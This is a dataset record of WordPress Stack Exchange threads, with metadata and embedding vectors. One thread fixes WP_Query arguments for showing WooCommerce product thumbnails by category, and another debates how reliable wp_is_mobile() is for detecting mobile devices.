Q: Displaying products from categories in woocommerce I want to display thumbnails of multiple categories on a page, i am having hard time accessing the categories as it shows empty. is something wrong with my code?
$args = array(
'per_page' => '12',
'category_name' => 'travel',
'orderby' => 'title',
);
print_r($args); //nothing gets output, like categories
$query = new WP_Query( $args );
if( $query->have_posts()) : while( $query->have_posts() ) : $query->the_post();
print_r($args); //nothing gets output, like categ
//want to display the thumbnail
endwhile;;
endif;
A: You're passing bad array keys to $args. Do something like this:
$args = array(
'posts_per_page' => '12',
'product_cat' => 'lead-generation',
'post_type' => 'product',
'orderby' => 'title',
);
$query = new WP_Query( $args );
if( $query->have_posts()) : while( $query->have_posts() ) : $query->the_post();
the_post_thumbnail('full');
//want to display the thumbnail
endwhile;
endif;
There is no per_page key, use posts_per_page instead.
Woocommerce category taxonomy slug is 'product_cat'. The 'category_name' is for normals posts. You must target the post type of woocommerce, here it is product.
|
Q: Displaying products from categories in woocommerce I want to display thumbnails of multiple categories on a page, i am having hard time accessing the categories as it shows empty. is something wrong with my code?
$args = array(
'per_page' => '12',
'category_name' => 'travel',
'orderby' => 'title',
);
print_r($args); //nothing gets output, like categories
$query = new WP_Query( $args );
if( $query->have_posts()) : while( $query->have_posts() ) : $query->the_post();
print_r($args); //nothing gets output, like categ
//want to display the thumbnail
endwhile;;
endif;
A: You're passing bad array keys to $args. Do something like this:
$args = array(
'posts_per_page' => '12',
'product_cat' => 'lead-generation',
'post_type' => 'product',
'orderby' => 'title',
);
$query = new WP_Query( $args );
if( $query->have_posts()) : while( $query->have_posts() ) : $query->the_post();
the_post_thumbnail('full');
//want to display the thumbnail
endwhile;
endif;
There is no per_page key, use posts_per_page instead.
Woocommerce category taxonomy slug is 'product_cat'. The 'category_name' is for normals posts. You must target the post type of woocommerce, here it is product.
A: For product filter with 3 products and with Featured title:
$args = array(
'post_type' => 'product',
'posts_per_page' => 3,
'product_cat' => 'Featured',
'order_by' => 'title',
);
|
wordpress
|
{
"language": "en",
"length": 191,
"provenance": "stackexchange_00019.jsonl.gz:436275",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/111635"
}
|
[
0.0276641845703125,
-0.0164642333984375,
-0.007411956787109375,
-0.045867919921875,
0.007617950439453125,
-0.019927978515625,
0.017578125,
-0.006038665771484375,
-0.023834228515625,
0.006103515625,
-0.04736328125,
-0.0226287841796875,
-0.04046630859375,
-0.022613525390625,
-0.007030487060546875,
-0.069580078125,
0.039154052734375,
-0.00908660888671875,
0.03875732421875,
0.006256103515625,
-0.0089111328125,
0.03863525390625,
0.041839599609375,
0.05535888671875,
0.025299072265625,
-0.0377197265625,
0.03753662109375,
-0.04254150390625,
0.0159759521484375,
-0.024505615234375,
0.0210113525390625,
0.014373779296875,
0.033538818359375,
-0.038238525390625,
0.032073974609375,
0.02655029296875,
0.039764404296875,
-0.030914306640625,
0.0179443359375,
0.0033817291259765625,
0.0229339599609375,
-0.021148681640625,
0.0218963623046875,
0.0247039794921875,
0.0175018310546875,
-0.0255889892578125,
0.00455474853515625,
-0.0789794921875,
0.0158233642578125,
-0.0203399658203125,
0.006542205810546875,
0.019744873046875,
0.0157470703125,
-0.027008056640625,
-0.0235595703125,
-0.00012564659118652344,
-0.033355712890625,
-0.007110595703125,
0.043670654296875,
-0.004283905029296875,
-0.0256500244140625,
-0.04071044921875,
0.0284881591796875,
-0.03167724609375,
-0.01044464111328125,
0.0189971923828125,
-0.0009813308715820312,
0.0054168701171875,
-0.025665283203125,
-0.006244659423828125,
0.022186279296875,
-0.0261383056640625,
0.0091400146484375,
0.01389312744140625,
-0.01409149169921875,
-0.031585693359375,
0.006591796875,
-0.02032470703125,
0.0263671875,
0.01512908935546875,
0.0005660057067871094,
-0.0171966552734375,
-0.04498291015625,
0.0154876708984375,
-0.0017194747924804688,
0.03704833984375,
-0.00315093994140625,
-0.0186767578125,
-0.006847381591796875,
-0.0215911865234375,
-0.002758026123046875,
-0.0098876953125,
-0.03955078125,
0.040069580078125,
0.0171051025390625,
-0.03265380859375,
0.0213775634765625,
-0.00004315376281738281,
0.016693115234375,
0.0182037353515625,
0.01029205322265625,
-0.05126953125,
0.03326416015625,
-0.0294647216796875,
0.01593017578125,
0.0316162109375,
-0.0015497207641601562,
0.006267547607421875,
0.05755615234375,
0.0311431884765625,
0.0179443359375,
0.064697265625,
-0.0023593902587890625,
-0.0267181396484375,
-0.0141754150390625,
0.043426513671875,
-0.0256805419921875,
0.0135345458984375,
-0.00010311603546142578,
0.02691650390625,
-0.003021240234375,
0.041229248046875,
0.011383056640625,
-0.034332275390625,
0.0301361083984375,
0.034027099609375,
0.01543426513671875,
-0.072509765625,
0.0157470703125,
-0.00395965576171875,
-0.0382080078125,
0.00823211669921875,
0.0177001953125,
0.053558349609375,
0.023956298828125,
-0.004119873046875,
0.00969696044921875,
-0.0024585723876953125,
0.01134490966796875,
-0.00649261474609375,
-0.005126953125,
0.0048370361328125,
0.0292510986328125,
-0.0153045654296875,
0.0338134765625,
-0.027801513671875,
-0.01104736328125,
0.040771484375,
0.037506103515625,
0.042877197265625,
0.0238037109375,
-0.02557373046875,
0.0243377685546875,
0.0166473388671875,
-0.01181793212890625,
0.0007257461547851562,
0.03466796875,
-0.0242156982421875,
-0.025360107421875,
-0.042083740234375,
0.0211944580078125,
0.0013713836669921875,
0.0238800048828125,
-0.056182861328125,
-0.052520751953125,
-0.00213623046875,
-0.07220458984375,
-0.0157928466796875,
0.02557373046875,
0.015289306640625,
0.006908416748046875,
-0.01317596435546875,
0.033294677734375,
0.01611328125,
-0.00152587890625,
0.0221405029296875,
-0.004589080810546875,
-0.01143646240234375,
0.0467529296875,
0.0139923095703125,
-0.0271759033203125,
-0.0216064453125,
0.0802001953125,
-0.0285491943359375,
-0.0462646484375,
0.016815185546875,
0.02490234375,
0.04510498046875,
-0.0218658447265625,
0.02667236328125,
0.051239013671875,
0.02294921875,
-0.05224609375,
0.042327880859375,
0.0275726318359375,
-0.03851318359375,
-0.0140380859375,
-0.0091400146484375,
0.013336181640625,
-0.0369873046875,
0.0231475830078125,
0.00799560546875,
0.007137298583984375,
-0.007171630859375,
-0.047210693359375,
0.0238189697265625,
-0.0165252685546875,
0.037933349609375,
-0.01885986328125,
0.037689208984375,
0.0180206298828125,
0.02838134765625,
-0.03424072265625,
-0.0225677490234375,
-0.00010830163955688477,
0.00849151611328125,
-0.03448486328125,
0.033416748046875,
-0.01082611083984375,
0.02239990234375,
-0.0297698974609375,
-0.034759521484375,
-0.0216827392578125,
0.00884246826171875,
0.0673828125,
0.011260986328125,
-0.01093292236328125,
-0.025909423828125,
0.04144287109375,
0.024078369140625,
-0.0726318359375,
0.005184173583984375,
0.032440185546875,
0.022064208984375,
-0.0391845703125,
0.024017333984375,
0.03912353515625,
-0.004199981689453125,
-0.000027060508728027344,
0.01403045654296875,
0.035430908203125,
0.032501220703125,
-0.00762176513671875,
-0.02685546875,
0.09283447265625,
-0.025604248046875,
0.0011577606201171875,
-0.0192108154296875,
-0.0173492431640625,
0.0232086181640625,
0.023834228515625,
0.02349853515625,
0.01148223876953125,
0.010986328125,
0.00530242919921875,
0.038787841796875,
-0.0012636184692382812,
0.00511932373046875,
-0.025787353515625,
0.021148681640625,
-0.00970458984375,
-0.0312042236328125,
-0.00994110107421875,
-0.019378662109375,
0.02166748046875,
0.0175018310546875,
0.01861572265625,
-0.0005383491516113281,
-0.0325927734375,
-0.007129669189453125,
0.019317626953125,
-0.0137939453125,
-0.0035266876220703125,
0.002536773681640625,
0.0013227462768554688,
-0.0289764404296875,
-0.0499267578125,
0.01059722900390625,
0.0240631103515625,
-0.01800537109375,
-0.0046539306640625,
0.050262451171875,
-0.00023233890533447266,
0.004207611083984375,
-0.0511474609375,
-0.049591064453125,
0.0042266845703125,
0.043914794921875,
-0.0228118896484375,
0.00007981061935424805,
0.0188751220703125,
0.03369140625,
-0.0390625,
0.0462646484375,
-0.044708251953125,
-0.00699615478515625,
0.0242156982421875,
-0.03948974609375,
0.049591064453125,
-0.055572509765625,
0.040924072265625,
0.0518798828125,
-0.047576904296875,
0.04119873046875,
0.01318359375,
-0.031646728515625,
0.0139007568359375,
0.025299072265625,
-0.0098724365234375,
-0.022308349609375,
-0.05438232421875,
0.0146331787109375,
0.0240020751953125,
0.05694580078125,
-0.0015211105346679688,
-0.03997802734375,
0.0185546875,
0.036346435546875,
-0.07196044921875,
-0.1002197265625,
-0.007114410400390625,
-0.060943603515625,
0.0186309814453125,
-0.0193023681640625,
-0.018310546875,
-0.0220794677734375,
-0.0038547515869140625,
0.01235198974609375,
-0.0196990966796875,
-0.03485107421875,
-0.05517578125,
-0.056610107421875,
-0.055206298828125,
0.04913330078125,
0.00612640380859375,
0.0224151611328125,
0.0038623809814453125,
0.0552978515625,
0.00409698486328125,
-0.030670166015625,
0.008697509765625,
0.0389404296875,
-0.02392578125,
-0.01180267333984375,
-0.019317626953125,
-0.01210784912109375,
-0.00341796875,
-0.007022857666015625,
0.0338134765625,
0.0277862548828125,
-0.0021514892578125,
0.03094482421875,
0.0172119140625,
0.0159149169921875,
0.0034694671630859375,
0.0186920166015625,
0.007183074951171875,
0.036376953125,
-0.00543975830078125,
-0.031402587890625,
-0.059661865234375,
-0.0240936279296875,
-0.06597900390625,
0.03265380859375,
0.04351806640625,
0.01666259765625,
0.0128631591796875,
0.0052032470703125,
0.01947021484375,
0.0017557144165039062,
-0.00026798248291015625,
-0.04644775390625,
0.011383056640625,
0.0191802978515625,
0.038909912109375,
-0.005138397216796875,
-0.01395416259765625,
-0.0245208740234375,
0.0250701904296875,
-0.0017261505126953125,
0.018768310546875,
-0.00970458984375,
0.0396728515625,
-0.017059326171875,
-0.059417724609375,
0.0347900390625,
-0.025787353515625,
-0.0034809112548828125,
-0.037200927734375,
-0.0278472900390625,
-0.0027141571044921875,
0.08563232421875,
-0.006786346435546875,
-0.028106689453125,
-0.0202484130859375,
0.0016193389892578125,
-0.023773193359375,
-0.00809478759765625,
-0.0118255615234375,
0.0024623870849609375,
-0.06744384765625,
0.0012531280517578125,
0.0012254714965820312,
-0.046722412109375,
0.02734375,
-0.03338623046875,
-0.0369873046875,
-0.0288543701171875,
0.036529541015625,
-0.01087188720703125,
0.00254058837890625,
0.0205535888671875,
-0.0181121826171875,
0.02020263671875,
-0.05889892578125,
0.00704193115234375,
-0.0438232421875,
-0.019683837890625,
0.0574951171875,
0.031585693359375,
-0.03607177734375,
0.007350921630859375,
-0.049835205078125,
0.037811279296875,
-0.00977325439453125,
0.049896240234375,
-0.0023212432861328125,
0.03277587890625,
-0.02392578125,
-0.0305633544921875,
0.0126495361328125,
-0.03363037109375,
-0.00444793701171875,
-0.0435791015625,
-0.01451873779296875,
-0.02618408203125,
-0.0389404296875,
0.0083770751953125,
-0.0196075439453125,
-0.009063720703125,
-0.09716796875,
-0.006893157958984375,
0.038970947265625,
-0.006511688232421875,
-0.0184783935546875,
0.031768798828125,
0.007526397705078125,
-0.05084228515625,
0.0499267578125,
-0.0247802734375,
-0.004405975341796875,
0.00200653076171875,
0.086181640625,
0.00595855712890625,
-0.0168304443359375,
-0.0408935546875,
0.0036258697509765625,
0.0213623046875,
-0.00218963623046875,
0.038970947265625,
-0.007411956787109375,
-0.0130157470703125,
0.04443359375,
0.004299163818359375,
-0.004119873046875,
0.01142120361328125,
0.04119873046875,
-0.01468658447265625,
-0.01971435546875,
0.016693115234375,
-0.0400390625,
0.01465606689453125,
0.0296173095703125,
-0.00725555419921875,
-0.02398681640625,
-0.03619384765625,
0.042388916015625,
0.02227783203125,
-0.00264739990234375,
-0.047088623046875,
-0.0036258697509765625,
-0.0024585723876953125,
0.0214385986328125,
0.0465087890625,
0.045806884765625,
-0.00733184814453125,
0.0201416015625,
0.02203369140625,
-0.0037136077880859375,
0.0174713134765625,
0.00927734375,
-0.01073455810546875,
0.00283050537109375,
0.0079345703125,
-0.0328369140625,
-0.0025234222412109375,
0.004886627197265625,
-0.0183258056640625,
-0.0171356201171875,
-0.0237274169921875,
-0.05987548828125,
-0.0023193359375,
0.0118560791015625,
0.0001882314682006836,
-0.0011072158813476562,
0.0312347412109375,
0.01345062255859375,
0.00039458274841308594,
-0.0137481689453125,
-0.059600830078125,
0.0114593505859375,
-0.043792724609375,
0.0193634033203125,
0.0019969940185546875,
0.005626678466796875,
0.02801513671875,
0.076904296875,
-0.02557373046875,
0.0673828125,
-0.0125274658203125,
-0.00128173828125,
-0.0131072998046875,
0.04541015625,
0.0294647216796875,
-0.044677734375,
-0.0087738037109375,
0.001922607421875,
0.0115966796875,
-0.036895751953125,
-0.0243682861328125,
0.01531219482421875,
0.04547119140625,
-0.042022705078125,
-0.0174713134765625,
0.03619384765625,
-0.0071563720703125,
-0.0303192138671875,
0.01073455810546875,
-0.005168914794921875,
-0.0188140869140625,
-0.03179931640625,
-0.007015228271484375,
0.01023101806640625,
0.01325225830078125,
-0.0250244140625,
0.01189422607421875,
-0.0265655517578125,
0.030670166015625,
-0.01641845703125,
0.00716400146484375,
0.011322021484375,
0.0086517333984375,
-0.0247802734375,
-0.03619384765625,
0.00811004638671875,
0.00379180908203125,
0.041168212890625,
-0.03289794921875,
-0.04327392578125,
0.02703857421875,
-0.00612640380859375,
0.0872802734375,
-0.040252685546875,
-0.050811767578125,
-0.0162811279296875,
-0.00522613525390625,
0.06353759765625,
0.053131103515625,
-0.041473388671875,
-0.0125274658203125,
-0.0256805419921875,
-0.01499176025390625,
0.04864501953125,
-0.0017871856689453125,
-0.0234832763671875,
-0.023834228515625,
-0.0008854866027832031,
0.031463623046875,
-0.0045318603515625,
-0.017303466796875,
-0.049652099609375,
-0.01242828369140625,
0.0137939453125,
0.025665283203125,
-0.008453369140625,
0.0179901123046875,
0.014801025390625,
0.0254974365234375,
0.008026123046875,
-0.020843505859375,
-0.01953125,
-0.0164031982421875,
-0.003749847412109375,
-0.06591796875,
-0.01313018798828125,
0.01555633544921875,
-0.07452392578125,
0.019927978515625,
0.057220458984375,
0.00858306884765625,
0.030487060546875,
-0.024810791015625,
-0.0010042190551757812,
-0.002899169921875,
0.002605438232421875,
-0.03546142578125,
-0.0157928466796875,
0.0836181640625,
-0.0236358642578125,
0.0208740234375,
0.003467559814453125,
-0.0367431640625,
0.03546142578125,
-0.0235443115234375,
0.0286407470703125,
0.0321044921875,
-0.021728515625,
0.041656494140625,
0.06610107421875,
0.0040283203125,
0.03375244140625,
0.026031494140625,
-0.0018482208251953125,
0.00414276123046875,
0.0168914794921875,
0.0142059326171875,
0.01186370849609375,
0.06365966796875,
-0.00922393798828125,
-0.003692626953125,
0.038909912109375,
-0.027679443359375,
-0.019195556640625,
0.02557373046875,
0.037353515625,
-0.03472900390625,
-0.00420379638671875,
0.02978515625,
-0.005298614501953125,
-0.0227203369140625,
0.0101165771484375,
-0.01329803466796875,
-0.0213165283203125,
0.034576416015625,
-0.022491455078125,
-0.016021728515625,
0.005985260009765625,
-0.0164947509765625,
0.007640838623046875,
0.0279693603515625,
0.02740478515625,
0.00716400146484375,
-0.10546875,
-0.024566650390625,
0.05938720703125,
-0.035919189453125,
-0.042510986328125,
-0.01088714599609375,
0.003772735595703125,
0.004703521728515625,
-0.05029296875,
0.0511474609375,
-0.01910400390625,
0.0496826171875,
0.047821044921875,
0.0025806427001953125,
-0.0175323486328125,
0.03509521484375,
-0.00923919677734375,
0.037689208984375,
-0.0017690658569335938,
-0.055633544921875,
-0.00983428955078125,
-0.005401611328125,
0.0017871856689453125,
0.047088623046875,
-0.0662841796875,
0.0111083984375,
-0.038543701171875,
0.050537109375,
-0.017974853515625,
-0.0030155181884765625,
0.0280303955078125,
-0.0209808349609375,
-0.014495849609375,
0.03253173828125,
0.07855224609375,
-0.006999969482421875,
0.006656646728515625,
0.032073974609375,
-0.0256195068359375,
0.0098724365234375,
0.0280914306640625,
0.0263824462890625,
-0.027252197265625,
0.0252532958984375,
-0.092041015625,
0.06793212890625,
-0.026519775390625,
0.05340576171875,
0.0188140869140625,
0.00629425048828125,
-0.0018253326416015625,
-0.02777099609375,
-0.033477783203125,
0.04571533203125,
0.034759521484375,
0.04254150390625,
-0.055938720703125,
-0.023193359375,
0.01303863525390625,
0.048431396484375,
0.046661376953125,
0.0020294189453125,
-0.037872314453125,
0.007511138916015625,
0.08709716796875,
0.00864410400390625,
-0.005828857421875,
0.0477294921875,
0.00156402587890625,
-0.017578125,
0.05633544921875,
-0.006679534912109375,
0.046234130859375,
-0.0167694091796875,
0.0023746490478515625,
0.008056640625,
0.01381683349609375,
0.026458740234375,
0.0007915496826171875,
0.0230255126953125,
-0.01059722900390625,
-0.0069122314453125,
0.0267486572265625,
-0.039520263671875,
0.03009033203125,
0.034942626953125,
0.0274505615234375,
-0.02423095703125,
-0.0229949951171875,
-0.013824462890625,
0.043548583984375,
-0.0013074874877929688,
0.0311737060546875,
0.052032470703125,
0.0300445556640625,
0.11798095703125,
-0.0020160675048828125,
0.023193359375,
0.014068603515625,
-0.0016956329345703125,
0.045318603515625,
0.01702880859375,
0.023345947265625,
-0.0232391357421875,
0.027740478515625,
0.0234832763671875,
0.033203125,
-0.047698974609375,
-0.0633544921875,
0.018707275390625,
0.0236663818359375,
0.006359100341796875,
0.02105712890625,
-0.0025043487548828125,
-0.01148223876953125,
0.068359375,
-0.051116943359375,
0.01447296142578125,
0.032867431640625,
0.0259857177734375,
-0.006992340087890625,
-0.0251617431640625,
-0.048492431640625,
-0.0016794204711914062,
-0.039794921875,
0.025238037109375,
0.033660888671875,
0.082275390625,
-0.003948211669921875,
0.0823974609375,
-0.0655517578125,
-0.05438232421875,
-0.0184173583984375,
0.0307769775390625,
-0.00963592529296875,
0.01251983642578125,
-0.03515625,
-0.03314208984375,
0.01010894775390625,
0.03924560546875,
0.0243682861328125,
0.01177978515625,
0.00832366943359375,
0.045318603515625,
0.03955078125,
0.0013380050659179688,
0.064697265625,
0.0024623870849609375,
0.0161895751953125,
-0.01971435546875,
0.0511474609375,
0.006809234619140625,
0.0006375312805175781,
-0.0284423828125,
0.050628662109375,
0.0191192626953125,
-0.0257720947265625,
0.0305023193359375,
-0.0116424560546875,
-0.02978515625,
0.04437255859375,
-0.025482177734375,
0.09918212890625,
-0.00975799560546875,
-0.09075927734375,
-0.0204010009765625,
-0.05078125,
-0.0169525146484375,
0.037078857421875,
0.040985107421875,
-0.0268096923828125,
0.038970947265625,
0.0267181396484375,
-0.01019287109375,
0.010284423828125,
-0.016143798828125,
0.0171356201171875,
-0.038299560546875,
0.0005636215209960938,
-0.0029239654541015625,
-0.0301055908203125,
-0.01470947265625,
0.007503509521484375,
0.0003943443298339844,
0.00606536865234375,
0.05755615234375,
0.005069732666015625,
0.0010175704956054688,
-0.023406982421875,
0.01105499267578125,
-0.0117340087890625,
-0.034637451171875,
0.08062744140625,
0.0041351318359375,
-0.024627685546875,
-0.0185699462890625,
0.0362548828125,
-0.022735595703125,
0.07061767578125,
-0.039306640625,
-0.048004150390625,
-0.0027103424072265625,
0.043243408203125,
-0.01291656494140625,
0.047882080078125,
-0.018829345703125,
-0.01386260986328125,
-0.0584716796875,
-0.0252227783203125,
0.02899169921875,
0.01480865478515625,
0.001434326171875,
0.01016998291015625,
0.033416748046875,
-0.033477783203125,
0.0328369140625,
-0.004253387451171875,
0.07061767578125,
0.053680419921875,
-0.006717681884765625,
0.020538330078125,
0.00768280029296875,
-0.0176849365234375,
0.0118560791015625,
0.0215301513671875,
-0.0361328125,
0.02020263671875,
-0.0374755859375,
0.01369476318359375,
0.0286407470703125,
0.0023174285888671875,
-0.030487060546875,
0.00365447998046875,
0.0447998046875,
-0.033355712890625,
-0.010009765625,
-0.01285552978515625,
-0.05316162109375,
-0.049652099609375,
0.03533935546875,
0.001453399658203125,
0.0017032623291015625,
-0.022674560546875,
-0.052947998046875,
-0.00238037109375,
0.028106689453125,
0.01525115966796875,
-0.03790283203125,
0.0239715576171875,
-0.0091705322265625,
0.015228271484375,
-0.0172271728515625,
-0.043975830078125,
0.00013589859008789062,
0.0014123916625976562,
-0.02252197265625,
0.046234130859375,
-0.053955078125,
-0.06427001953125,
-0.0231475830078125,
0.005634307861328125,
0.0172882080078125,
-0.0269012451171875,
-0.039093017578125,
0.0219268798828125,
0.01122283935546875,
0.072265625,
0.0400390625,
-0.015655517578125,
0.0065155029296875,
0.0369873046875,
-0.034271240234375,
-0.060302734375,
0.00998687744140625,
-0.02581787109375,
0.0198211669921875,
0.00952911376953125,
-0.018646240234375,
0.00841522216796875,
-0.0250701904296875,
-0.01453399658203125,
0.07568359375,
0.0012521743774414062,
-0.0157623291015625,
-0.0084381103515625,
0.0021820068359375,
-0.0234375,
0.02545166015625,
0.00391387939453125,
-0.0179290771484375,
-0.011993408203125,
0.0254058837890625,
0.0036182403564453125,
-0.01189422607421875,
0.022003173828125,
-0.0135650634765625,
-0.0428466796875,
0.01369476318359375,
0.01392364501953125,
-0.006305694580078125,
0.0219573974609375,
-0.0031795501708984375,
0.0128326416015625,
0.05023193359375,
-0.029815673828125,
-0.06475830078125,
-0.0210418701171875,
-0.01300048828125,
0.0248870849609375,
0.00244140625,
-0.05999755859375,
-0.04632568359375,
0.018646240234375,
0.0191497802734375,
0.02001953125,
0.034088134765625,
-0.0152435302734375,
-0.004062652587890625,
-0.01424407958984375,
-0.0081634521484375,
0.0214996337890625,
-0.07513427734375,
-0.00998687744140625,
0.01462554931640625,
-0.005100250244140625,
0.0186004638671875,
0.0086669921875,
-0.031341552734375,
-0.01194000244140625,
-0.00911712646484375,
-0.005657196044921875,
-0.053131103515625,
-0.00426483154296875,
0.00844573974609375,
-0.021331787109375,
-0.03082275390625,
-0.01395416259765625,
0.01357269287109375,
-0.0294342041015625,
-0.037750244140625,
-0.047393798828125,
0.0150146484375,
-0.00835418701171875,
0.0014791488647460938,
-0.00153350830078125,
-0.0175628662109375,
-0.006992340087890625,
0.0540771484375,
-0.008331298828125,
0.0243377685546875,
0.0014858245849609375,
0.0216064453125,
0.0033931732177734375,
0.037139892578125,
0.0199127197265625,
0.05950927734375,
0.01424407958984375,
-0.01393890380859375,
0.0118865966796875,
0.02423095703125,
-0.00023090839385986328,
-0.01160430908203125,
0.0233154296875,
-0.058135986328125,
-0.00844573974609375,
-0.01265716552734375,
-0.042510986328125,
-0.0207672119140625,
-0.0168914794921875,
0.0016040802001953125,
-0.04254150390625,
0.006549835205078125
] |
69bdc5cfde764363911dbbfe99ae161b55994c9d
|
Wordpress Stackexchange
Q: Is wp_is_mobile() effective? I'm going to test the user agent to load a mobile template instead of the desktop theme.
There are many mobile detection scripts out there.
*
*Does wp_is_mobile() function work well?
*What is your experience in comparison with other classes like e.g. mobiledetect.net?
A: It is a shitty idea to use that function. Device identification should always be done at the client side, and user agent is probably the worst way to identify whether a device supports a feature X or have a form factor Y.
You start using it when the site is young and then your site grows and you decide to cache your HTML and boom all your device detection code stops working..... Better not to walk down that ally in the first place.
|
Q: Is wp_is_mobile() effective? I'm going to test the user agent to load a mobile template instead of the desktop theme.
There are many mobile detection scripts out there.
*
*Does wp_is_mobile() function work well?
*What is your experience in comparison with other classes like e.g. mobiledetect.net?
A: It is a shitty idea to use that function. Device identification should always be done at the client side, and user agent is probably the worst way to identify whether a device supports a feature X or have a form factor Y.
You start using it when the site is young and then your site grows and you decide to cache your HTML and boom all your device detection code stops working..... Better not to walk down that ally in the first place.
A: Yes it works well. It's a very simple function but never found a mobile device not recognized by it. It recognize the 90%+ of mobile devices. Main difference from mobiledetect.net is that doesn't differe from phone and tablets.
See the code
A: Yes, the wp_is_mobile() works well, but you can run into problems when using aggressive caching systems, such as fastcgi, proxy cache, etc. that skip the php execution.
If that is the case, I would recomend some client side (javascript) detection method that is loaded for both mobile and desktop browsers.
A: Your question specifically asks if wp_is_mobile() is effective; not how device detection should be evaluated. The function just works. So Yes, it is effective. As an example when it may be preferred to client-side detection, even Mozilla thinks that's a bad idea.
It's worth re-iterating: it's very rarely a good idea to use user
agent sniffing. You can almost always find a better, more broadly
compatible way to solve your problem!
mozilla
Is a mobile dectection plugin any better? There may be good reason not to choose mobile detection via a plugin over wp_is_mobile(). First, Wordpress is already doing a lot of the tedius tasks, so just hand this over to it as well!
Prior to loading a DataTable I am using mobile-detect.js as part of my requirement to detect and style when the device is mobile:
// if phone or tablet then set responsive mode
var md = new MobileDetect(window.navigator.userAgent);
if (md.phone() || md.tablet()) {
scrollObj = false;
$('#sometable').removeAttr('width').addClass('dt-responsive');
responsiveObj = {
details: {
type: "inline",
display: $.fn.dataTable.Responsive.display.childRowImmediate
}
};
}
This works fine, but it comes with a small cost to require a plugin for a one time use per session function call. Additionally, it's creator warns about using his plugin.
"you should not use this library in your HTML page and it’s less reliable when used server-side"
So, instead of loading a one-time-use plugin, a more effective way to handle device detection without sniffing is to use wp_is_mobile().
// This is in a JavaScript block in a PHP page
isMobile = Boolean(<?php echo wp_is_mobile() ?>);
|
wordpress
|
{
"language": "en",
"length": 483,
"provenance": "stackexchange_00019.jsonl.gz:436286",
"question_score": "17",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/111676"
}
|
[
0.012725830078125,
0.0088958740234375,
0.01352691650390625,
0.037445068359375,
0.006099700927734375,
-0.024566650390625,
0.051910400390625,
-0.05303955078125,
-0.00905609130859375,
0.0155487060546875,
-0.0119171142578125,
0.005199432373046875,
-0.0167388916015625,
-0.0170440673828125,
0.00153350830078125,
-0.029266357421875,
-0.01334381103515625,
-0.004673004150390625,
-0.04248046875,
-0.043426513671875,
0.01306915283203125,
-0.057708740234375,
-0.047271728515625,
0.0256195068359375,
0.0193939208984375,
-0.058319091796875,
0.048797607421875,
-0.01202392578125,
0.00890350341796875,
-0.0394287109375,
0.014129638671875,
0.053070068359375,
-0.0261688232421875,
0.034027099609375,
0.0102386474609375,
0.007015228271484375,
0.01145172119140625,
0.03143310546875,
0.031097412109375,
0.0168914794921875,
-0.008331298828125,
0.006710052490234375,
0.0266876220703125,
-0.01462554931640625,
-0.000021636486053466797,
-0.0235137939453125,
-0.016082763671875,
-0.0496826171875,
-0.01139068603515625,
-0.0286102294921875,
0.0251617431640625,
-0.01007080078125,
0.06365966796875,
-0.0102081298828125,
-0.0285186767578125,
0.003997802734375,
-0.01180267333984375,
0.006000518798828125,
0.037078857421875,
0.004772186279296875,
-0.032012939453125,
-0.035736083984375,
0.0162506103515625,
-0.049896240234375,
0.00702667236328125,
-0.0223388671875,
-0.06317138671875,
0.034576416015625,
-0.032073974609375,
-0.0234222412109375,
0.0127410888671875,
-0.035064697265625,
-0.008758544921875,
0.007793426513671875,
-0.054412841796875,
-0.05517578125,
0.038970947265625,
-0.05841064453125,
-0.0133056640625,
0.014251708984375,
-0.01226043701171875,
0.0160064697265625,
-0.060821533203125,
-0.05987548828125,
0.02435302734375,
-0.01910400390625,
0.003795623779296875,
-0.00867462158203125,
-0.0262451171875,
-0.04193115234375,
-0.026519775390625,
-0.056793212890625,
-0.0225677490234375,
-0.0248565673828125,
-0.023223876953125,
-0.03497314453125,
0.031494140625,
0.07257080078125,
-0.0462646484375,
-0.030609130859375,
-0.0009055137634277344,
-0.0284576416015625,
-0.0127410888671875,
-0.026123046875,
0.0175628662109375,
0.06591796875,
-0.0026531219482421875,
-0.01024627685546875,
0.037109375,
-0.0034236907958984375,
0.01012420654296875,
0.01119232177734375,
-0.02294921875,
-0.0180511474609375,
-0.056732177734375,
-0.006229400634765625,
-0.045928955078125,
-0.0037631988525390625,
0.0085296630859375,
0.0178680419921875,
0.0193939208984375,
0.027618408203125,
0.045074462890625,
-0.01097869873046875,
-0.0000584721565246582,
0.01763916015625,
-0.021026611328125,
-0.057861328125,
0.0182952880859375,
0.034820556640625,
-0.00420379638671875,
0.0128936767578125,
-0.050018310546875,
-0.032623291015625,
-0.06268310546875,
-0.01561737060546875,
0.01317596435546875,
0.0219879150390625,
0.01739501953125,
-0.01751708984375,
0.06170654296875,
-0.039337158203125,
-0.0234527587890625,
0.059967041015625,
-0.0271453857421875,
-0.0171661376953125,
0.007266998291015625,
0.046173095703125,
0.0003631114959716797,
-0.0175933837890625,
0.0194854736328125,
-0.024658203125,
0.0062103271484375,
-0.003376007080078125,
0.0350341796875,
-0.0472412109375,
0.0241546630859375,
-0.0187225341796875,
0.0214080810546875,
-0.040557861328125,
0.0261383056640625,
0.001636505126953125,
0.034271240234375,
0.0085601806640625,
-0.00036835670471191406,
-0.01519012451171875,
-0.055511474609375,
0.0069732666015625,
0.030303955078125,
0.042816162109375,
0.007701873779296875,
-0.053314208984375,
0.037933349609375,
0.021484375,
-0.0258026123046875,
0.036956787109375,
0.016632080078125,
0.0628662109375,
0.0467529296875,
-0.056365966796875,
-0.050323486328125,
-0.057647705078125,
0.1285400390625,
-0.067626953125,
-0.0297698974609375,
0.027069091796875,
0.0257415771484375,
0.048095703125,
-0.0162200927734375,
0.0191802978515625,
0.0233154296875,
0.047821044921875,
-0.046173095703125,
0.06951904296875,
0.0165252685546875,
-0.039703369140625,
-0.0303192138671875,
-0.027435302734375,
-0.005817413330078125,
-0.0286407470703125,
0.038970947265625,
0.01261138916015625,
0.011993408203125,
-0.04388427734375,
-0.05841064453125,
-0.005527496337890625,
-0.01346588134765625,
0.039947509765625,
0.0303802490234375,
0.00848388671875,
-0.004116058349609375,
0.0138092041015625,
-0.0214080810546875,
-0.004047393798828125,
-0.02947998046875,
0.040679931640625,
0.0088348388671875,
0.039581298828125,
-0.005031585693359375,
-0.00963592529296875,
-0.0017919540405273438,
-0.0189971923828125,
0.00643157958984375,
0.046142578125,
-0.0024204254150390625,
0.029266357421875,
-0.028411865234375,
0.024932861328125,
-0.0124664306640625,
0.02239990234375,
0.0124969482421875,
0.0362548828125,
